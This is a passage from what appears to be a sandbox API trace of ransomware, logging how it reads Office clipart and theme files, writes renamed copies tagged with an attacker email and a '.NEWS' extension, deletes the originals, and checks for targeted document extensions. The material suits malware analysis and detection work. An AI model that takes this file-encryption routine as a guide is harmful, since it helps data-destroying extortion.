Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0233.506] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0233.506] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0233.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0233.507] GetLastError () returned 0x0 [0233.507] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1e58, lpOverlapped=0x0) returned 1 [0233.839] WriteFile (in: hFile=0x3d4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0233.843] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0233.843] WriteFile (in: hFile=0x3d4, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.843] SetEndOfFile (hFile=0x3d4) returned 1 [0234.741] CloseHandle (hObject=0x3d4) returned 1 [0234.836] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0234.837] SetEndOfFile (hFile=0x338) returned 1 [0238.918] CloseHandle (hObject=0x338) returned 1 [0239.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0239.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.653] lstrlenW (lpString=".doc") returned 4 [0239.653] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.653] lstrlenW (lpString=".docx") returned 5 [0239.653] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0239.653] lstrlenW (lpString=".pdf") returned 4 [0239.653] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.653] lstrlenW (lpString=".xls") returned 4 [0239.653] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.653] lstrlenW (lpString=".xlsx") returned 5 [0239.653] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0239.653] lstrlenW (lpString=".ppt") returned 4 [0239.654] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.654] lstrlenW (lpString=".zip") returned 4 [0239.654] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.654] lstrlenW (lpString=".rar") returned 4 [0239.654] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.654] lstrlenW (lpString=".bz2") returned 4 [0239.654] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.654] lstrlenW (lpString=".7z") returned 3 [0239.654] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.654] lstrlenW (lpString=".dbf") returned 4 [0239.654] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.655] lstrlenW (lpString=".1cd") returned 4 [0239.655] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.655] lstrlenW (lpString=".jpg") returned 4 [0239.655] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.656] lstrlenW (lpString=".doc") returned 4 [0239.656] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.656] lstrlenW (lpString=".docx") returned 5 [0239.656] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0239.656] lstrlenW (lpString=".pdf") returned 4 [0239.656] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.656] lstrlenW (lpString=".xls") returned 4 [0239.657] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.657] lstrlenW (lpString=".xlsx") returned 5 [0239.657] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0239.657] lstrlenW (lpString=".ppt") returned 4 [0239.657] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.657] lstrlenW (lpString=".zip") returned 4 [0239.657] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.657] lstrlenW (lpString=".rar") returned 4 [0239.657] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.657] lstrlenW (lpString=".bz2") returned 4 [0239.657] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.657] lstrlenW (lpString=".7z") returned 3 [0239.657] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.658] lstrlenW (lpString=".dbf") returned 4 [0239.658] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.658] lstrlenW (lpString=".1cd") returned 4 [0239.658] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0239.658] lstrlenW (lpString=".jpg") returned 4 [0239.658] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.659] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.659] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0239.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0239.688] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=6700) returned 1 [0239.688] CloseHandle (hObject=0x35c) returned 1 [0239.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0239.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0239.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0239.689] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0239.689] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0239.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0239.692] GetLastError () returned 0x0 [0239.692] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0239.697] WriteFile (in: hFile=0x324, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0239.700] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0239.700] WriteFile (in: hFile=0x324, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0239.700] SetEndOfFile (hFile=0x324) returned 1 [0239.701] CloseHandle (hObject=0x324) returned 1 [0239.701] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0239.701] SetEndOfFile (hFile=0x35c) returned 1 [0239.710] CloseHandle (hObject=0x35c) returned 1 [0239.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0239.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.715] lstrlenW (lpString=".doc") returned 4 [0239.715] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.715] lstrlenW (lpString=".docx") returned 5 [0239.715] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.716] lstrlenW (lpString=".pdf") returned 4 [0239.716] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.716] lstrlenW (lpString=".xls") returned 4 [0239.716] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.716] lstrlenW (lpString=".xlsx") returned 5 [0239.716] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.716] lstrlenW (lpString=".ppt") returned 4 [0239.716] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.717] lstrlenW (lpString=".zip") returned 4 [0239.717] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.717] lstrlenW (lpString=".rar") returned 4 [0239.717] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.717] lstrlenW (lpString=".bz2") returned 4 [0239.717] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.717] lstrlenW (lpString=".7z") returned 3 [0239.717] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.907] lstrlenW (lpString=".dbf") returned 4 [0239.907] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.907] lstrlenW (lpString=".1cd") returned 4 [0239.907] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.907] lstrlenW (lpString=".jpg") returned 4 [0239.907] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.908] lstrlenW (lpString=".doc") returned 4 [0239.908] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.908] lstrlenW (lpString=".docx") returned 5 [0239.908] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.908] lstrlenW (lpString=".pdf") returned 4 [0239.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.908] lstrlenW (lpString=".xls") returned 4 [0239.908] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.908] lstrlenW (lpString=".xlsx") returned 5 [0239.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.908] lstrlenW (lpString=".ppt") returned 4 [0239.908] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.908] lstrlenW (lpString=".zip") returned 4 [0239.909] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.909] lstrlenW (lpString=".rar") returned 4 [0239.909] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.909] lstrlenW (lpString=".bz2") returned 4 [0239.909] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.909] lstrlenW (lpString=".7z") returned 3 [0239.909] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.909] lstrlenW (lpString=".dbf") returned 4 [0239.909] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.909] lstrlenW (lpString=".1cd") returned 4 [0239.909] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0239.910] lstrlenW (lpString=".jpg") returned 4 [0239.910] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.910] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.910] lstrlenW (lpString="URBAN_01.MID") returned 12 [0239.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0240.119] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=13358) returned 1 [0240.119] CloseHandle (hObject=0x288) returned 1 [0240.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0240.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0240.178] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0240.178] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0240.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0240.181] GetLastError () returned 0x0 [0240.181] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x342e, lpOverlapped=0x0) returned 1 [0240.242] WriteFile (in: hFile=0x188, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x3430, lpOverlapped=0x0) returned 1 [0240.245] ReadFile (in: hFile=0x15c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0240.246] WriteFile (in: hFile=0x188, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.246] SetEndOfFile (hFile=0x188) returned 1 [0240.246] CloseHandle (hObject=0x188) returned 1 [0240.246] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0240.246] SetEndOfFile (hFile=0x15c) returned 1 [0241.322] CloseHandle (hObject=0x15c) returned 1 [0241.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0241.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.493] lstrlenW (lpString=".doc") returned 4 [0241.493] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0241.493] lstrlenW (lpString=".docx") returned 5 [0241.494] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0241.494] lstrlenW (lpString=".pdf") returned 4 [0241.494] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.494] lstrlenW (lpString=".xls") returned 4 [0241.494] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.494] lstrlenW (lpString=".xlsx") returned 5 [0241.494] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0241.494] lstrlenW (lpString=".ppt") returned 4 [0241.494] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.494] lstrlenW (lpString=".zip") returned 4 [0241.494] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.494] lstrlenW (lpString=".rar") returned 4 [0241.495] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.495] lstrlenW (lpString=".bz2") returned 4 [0241.495] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.495] lstrlenW (lpString=".7z") returned 3 [0241.495] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.495] lstrlenW (lpString=".dbf") returned 4 [0241.495] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.495] lstrlenW (lpString=".1cd") returned 4 [0241.495] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.495] lstrlenW (lpString=".jpg") returned 4 [0241.495] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.496] lstrlenW (lpString=".doc") returned 4 [0241.496] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0241.496] lstrlenW (lpString=".docx") returned 5 [0241.497] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0241.497] lstrlenW (lpString=".pdf") returned 4 [0241.497] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.497] lstrlenW (lpString=".xls") returned 4 [0241.497] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.497] lstrlenW (lpString=".xlsx") returned 5 [0241.497] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0241.497] lstrlenW (lpString=".ppt") returned 4 [0241.497] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.497] lstrlenW (lpString=".zip") returned 4 [0241.497] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.497] lstrlenW (lpString=".rar") returned 4 [0241.498] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.498] lstrlenW (lpString=".bz2") returned 4 [0241.498] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.498] lstrlenW (lpString=".7z") returned 3 [0241.498] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.498] lstrlenW (lpString=".dbf") returned 4 [0241.498] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.498] lstrlenW (lpString=".1cd") returned 4 [0241.498] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0241.498] lstrlenW (lpString=".jpg") returned 4 [0241.499] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.499] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0241.499] lstrlenW (lpString="Apothecary.eftx") returned 15 [0241.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0241.544] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=49025) returned 1 [0241.545] CloseHandle (hObject=0x3ac) returned 1 [0241.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0241.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0241.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0241.546] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0241.546] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0241.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), 